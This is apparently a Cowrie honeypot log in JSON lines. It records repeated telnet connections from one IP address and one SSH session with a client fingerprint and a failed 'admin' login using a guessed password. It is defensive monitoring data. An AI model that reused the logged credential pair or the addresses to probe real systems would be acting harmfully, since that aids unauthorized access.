{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":59344,"dst_ip":"159.203.135.109","dst_port":23,"session":"ddf46171a418","protocol":"telnet","message":"New connection: 173.249.14.218:59344 (159.203.135.109:23) [session: ddf46171a418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:53.629822Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":60682,"dst_ip":"159.203.135.109","dst_port":23,"session":"762e30709ab3","protocol":"telnet","message":"New connection: 173.249.14.218:60682 (159.203.135.109:23) [session: 762e30709ab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:54.425935Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":60890,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e26b5c9a89b","protocol":"telnet","message":"New connection: 173.249.14.218:60890 (159.203.135.109:23) [session: 5e26b5c9a89b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:54.563726Z"}
{"eventid":"cowrie.session.closed","duration":30.25472617149353,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:55.059962Z","src_ip":"173.249.14.218","session":"dc81f308e167","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":35270,"dst_ip":"159.203.135.109","dst_port":23,"session":"301296045b8a","protocol":"telnet","message":"New connection: 173.249.14.218:35270 (159.203.135.109:23) [session: 301296045b8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:56.222777Z"}
{"eventid":"cowrie.session.closed","duration":31.1736900806427,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:57.152101Z","src_ip":"173.249.14.218","session":"939207b8b73b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":37718,"dst_ip":"159.203.135.109","dst_port":23,"session":"d35a796e8aa6","protocol":"telnet","message":"New connection: 173.249.14.218:37718 (159.203.135.109:23) [session: d35a796e8aa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:57.543498Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":37768,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c8e0f17131c","protocol":"telnet","message":"New connection: 173.249.14.218:37768 (159.203.135.109:23) [session: 4c8e0f17131c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:57.575803Z"}
{"eventid":"cowrie.session.closed","duration":31.00236964225769,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:58.055670Z","src_ip":"173.249.14.218","session":"dd0ebf58485f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.722225666046143,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:58.060851Z","src_ip":"173.249.14.218","session":"7f2e065b3b02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":39660,"dst_ip":"159.203.135.109","dst_port":23,"session":"26d696068bad","protocol":"telnet","message":"New connection: 173.249.14.218:39660 (159.203.135.109:23) [session: 26d696068bad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:58.802986Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":40364,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a878fc7ed29","protocol":"telnet","message":"New connection: 173.249.14.218:40364 (159.203.135.109:23) [session: 9a878fc7ed29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:59.311921Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":40642,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d6b7dd603f4","protocol":"telnet","message":"New connection: 173.249.14.218:40642 (159.203.135.109:23) [session: 4d6b7dd603f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:59.431367Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":43796,"dst_ip":"159.203.135.109","dst_port":23,"session":"084430d7ee04","protocol":"telnet","message":"New connection: 173.249.14.218:43796 (159.203.135.109:23) [session: 084430d7ee04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:01.070191Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":46396,"dst_ip":"159.203.135.109","dst_port":23,"session":"18b0a3d7335e","protocol":"telnet","message":"New connection: 173.249.14.218:46396 (159.203.135.109:23) [session: 18b0a3d7335e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:02.491346Z"}
{"eventid":"cowrie.session.closed","duration":30.45051121711731,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:03.062345Z","src_ip":"173.249.14.218","session":"e1d4292d804d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59176,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a11a2897874","protocol":"ssh","message":"New connection: 159.203.92.129:59176 (159.203.135.109:22) [session: 0a11a2897874]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:03.636367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:03.650341Z","src_ip":"159.203.92.129","session":"0a11a2897874","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:03.655861Z","src_ip":"159.203.92.129","session":"0a11a2897874","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"cj217_0114","message":"login attempt [admin/cj217_0114] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:03.668940Z","src_ip":"159.203.92.129","session":"0a11a2897874","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:04.676449Z","src_ip":"159.203.92.129","session":"0a11a2897874","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":50076,"dst_ip":"159.203.135.109","dst_port":23,"session":"22153189539a","protocol":"telnet","message":"New connection: 173.249.14.218:50076 (159.203.135.109:23) [session: 22153189539a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:04.781684Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":50344,"dst_ip":"159.203.135.109","dst_port":23,"session":"e39a30f72ed7","protocol":"telnet","message":"New connection: 173.249.14.218:50344 (159.203.135.109:23) [session: e39a30f72ed7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:04.983528Z"}
{"eventid":"cowrie.session.closed","duration":30.711703538894653,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:06.051704Z","src_ip":"173.249.14.218","session":"ad9830e5e0aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.657578706741333,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:06.061676Z","src_ip":"173.249.14.218","session":"f20c20671718","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":52040,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b68c48900e5","protocol":"telnet","message":"New connection: 173.249.14.218:52040 (159.203.135.109:23) [session: 9b68c48900e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:06.252632Z"}
{"eventid":"cowrie.session.closed","duration":30.806900024414062,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:07.058252Z","src_ip":"173.249.14.218","session":"9fab0c92521a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.511282682418823,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:07.063144Z","src_ip":"173.249.14.218","session":"a1a7b365a5a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.36487627029419,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:07.082591Z","src_ip":"173.249.14.218","session":"4e7712338d8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.892407417297363,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:07.117385Z","src_ip":"173.249.14.218","session":"f2879ac871c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60121202468872,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:07.135498Z","src_ip":"173.249.14.218","session":"d0a0319aa591","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.410513639450073,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:07.183612Z","src_ip":"173.249.14.218","session":"5ff69a1d8df6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":54272,"dst_ip":"159.203.135.109","dst_port":23,"session":"d35ed5d149c5","protocol":"telnet","message":"New connection: 173.249.14.218:54272 (159.203.135.109:23) [session: d35ed5d149c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:07.731730Z"}
{"eventid":"cowrie.session.closed","duration":30.971016883850098,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:08.053501Z","src_ip":"173.249.14.218","session":"014f7ce35a42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.38510298728943,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:08.100394Z","src_ip":"173.249.14.218","session":"f931aef1e634","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.48550796508789,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:08.175691Z","src_ip":"173.249.14.218","session":"031a8ff88af2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":57962,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a8b5e14f791","protocol":"telnet","message":"New connection: 173.249.14.218:57962 (159.203.135.109:23) [session: 2a8b5e14f791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:09.675277Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":58256,"dst_ip":"159.203.135.109","dst_port":23,"session":"807073670840","protocol":"telnet","message":"New connection: 173.249.14.218:58256 (159.203.135.109:23) [session: 807073670840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:09.823613Z"}
{"eventid":"cowrie.session.closed","duration":30.70069694519043,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:10.067927Z","src_ip":"173.249.14.218","session":"450cd4dbd081","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.950568914413452,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:10.101739Z","src_ip":"173.249.14.218","session":"e08044b791e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":32788,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4be1a590419","protocol":"telnet","message":"New connection: 173.249.14.218:32788 (159.203.135.109:23) [session: f4be1a590419]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:11.515356Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":33228,"dst_ip":"159.203.135.109","dst_port":23,"session":"0006a4f6166b","protocol":"telnet","message":"New connection: 173.249.14.218:33228 (159.203.135.109:23) [session: 0006a4f6166b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:11.762625Z"}
{"eventid":"cowrie.session.closed","duration":30.54753804206848,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:12.051323Z","src_ip":"173.249.14.218","session":"8857bfcc3397","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":35108,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d9e0fbdd121","protocol":"telnet","message":"New connection: 173.249.14.218:35108 (159.203.135.109:23) [session: 4d9e0fbdd121]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:12.878249Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":35598,"dst_ip":"159.203.135.109","dst_port":23,"session":"3961d8f8f7d8","protocol":"telnet","message":"New connection: 173.249.14.218:35598 (159.203.135.109:23) [session: 3961d8f8f7d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:13.203609Z"}
{"eventid":"cowrie.session.closed","duration":30.174105167388916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:14.068613Z","src_ip":"173.249.14.218","session":"f66cddfe2252","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":37769,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd66bc24c9b1","protocol":"telnet","message":"New connection: 173.249.14.218:37769 (159.203.135.109:23) [session: cd66bc24c9b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:14.443500Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":37842,"dst_ip":"159.203.135.109","dst_port":23,"session":"077663024a80","protocol":"telnet","message":"New connection: 173.249.14.218:37842 (159.203.135.109:23) [session: 077663024a80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:14.515041Z"}
{"eventid":"cowrie.session.closed","duration":30.794660091400146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:15.219854Z","src_ip":"173.249.14.218","session":"3dc9731bf009","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.47820258140564,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:17.108594Z","src_ip":"173.249.14.218","session":"300071db7846","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.107213973999023,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:17.123285Z","src_ip":"173.249.14.218","session":"7335ffbcd4ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.364118814468384,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:17.332120Z","src_ip":"173.249.14.218","session":"14dcd4d45fd5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03946876525879,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:18.070997Z","src_ip":"173.249.14.218","session":"4ecbdf81e9b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":46828,"dst_ip":"159.203.135.109","dst_port":23,"session":"23a0948986d0","protocol":"telnet","message":"New connection: 173.249.14.218:46828 (159.203.135.109:23) [session: 23a0948986d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:19.683301Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":50736,"dst_ip":"159.203.135.109","dst_port":23,"session":"39a6251b252b","protocol":"telnet","message":"New connection: 173.249.14.218:50736 (159.203.135.109:23) [session: 39a6251b252b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:21.603509Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":51058,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ade3882fa91","protocol":"telnet","message":"New connection: 173.249.14.218:51058 (159.203.135.109:23) [session: 1ade3882fa91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:21.806982Z"}
{"eventid":"cowrie.session.closed","duration":30.583261489868164,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:22.058048Z","src_ip":"173.249.14.218","session":"77e39b04e889","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":52038,"dst_ip":"159.203.135.109","dst_port":23,"session":"794f63f2e197","protocol":"telnet","message":"New connection: 173.249.14.218:52038 (159.203.135.109:23) [session: 794f63f2e197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:22.482125Z"}
{"eventid":"cowrie.session.closed","duration":30.749136686325073,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:23.058469Z","src_ip":"173.249.14.218","session":"01ae2abaf700","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.978633642196655,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:23.198501Z","src_ip":"173.249.14.218","session":"5a014fc62f5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.758431673049927,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:23.231488Z","src_ip":"173.249.14.218","session":"6c77e8328b1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":53456,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4e2b6a4a4cf","protocol":"telnet","message":"New connection: 173.249.14.218:53456 (159.203.135.109:23) [session: c4e2b6a4a4cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:23.305927Z"}
{"eventid":"cowrie.session.closed","duration":31.132915258407593,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:24.762643Z","src_ip":"173.249.14.218","session":"ddf46171a418","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.623110055923462,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:25.048920Z","src_ip":"173.249.14.218","session":"762e30709ab3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.493160724639893,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:25.056759Z","src_ip":"173.249.14.218","session":"5e26b5c9a89b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":56608,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff8ab0744b0d","protocol":"telnet","message":"New connection: 173.249.14.218:56608 (159.203.135.109:23) [session: ff8ab0744b0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:25.362154Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":57906,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b8dbab9969c","protocol":"telnet","message":"New connection: 173.249.14.218:57906 (159.203.135.109:23) [session: 4b8dbab9969c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:26.165140Z"}
{"eventid":"cowrie.session.closed","duration":30.854475498199463,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:27.077144Z","src_ip":"173.249.14.218","session":"301296045b8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":60188,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d7d624e58c1","protocol":"telnet","message":"New connection: 173.249.14.218:60188 (159.203.135.109:23) [session: 5d7d624e58c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:27.676923Z"}
{"eventid":"cowrie.session.closed","duration":30.48128342628479,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:28.056962Z","src_ip":"173.249.14.218","session":"4c8e0f17131c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":33086,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d5e32a307be","protocol":"telnet","message":"New connection: 173.249.14.218:33086 (159.203.135.109:23) [session: 8d5e32a307be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:28.400567Z"}
{"eventid":"cowrie.session.closed","duration":31.246158123016357,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:28.789523Z","src_ip":"173.249.14.218","session":"d35a796e8aa6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.25114154815674,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:29.054023Z","src_ip":"173.249.14.218","session":"26d696068bad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":34728,"dst_ip":"159.203.135.109","dst_port":23,"session":"081819e0f0f0","protocol":"telnet","message":"New connection: 173.249.14.218:34728 (159.203.135.109:23) [session: 081819e0f0f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:29.390306Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":35058,"dst_ip":"159.203.135.109","dst_port":23,"session":"6921bb0fa981","protocol":"telnet","message":"New connection: 173.249.14.218:35058 (159.203.135.109:23) [session: 6921bb0fa981]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:29.526007Z"}
{"eventid":"cowrie.session.closed","duration":30.62200117111206,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:43:30.053260Z","src_ip":"173.249.14.218","session":"4d6b7dd603f4","protocol":"telnet"}
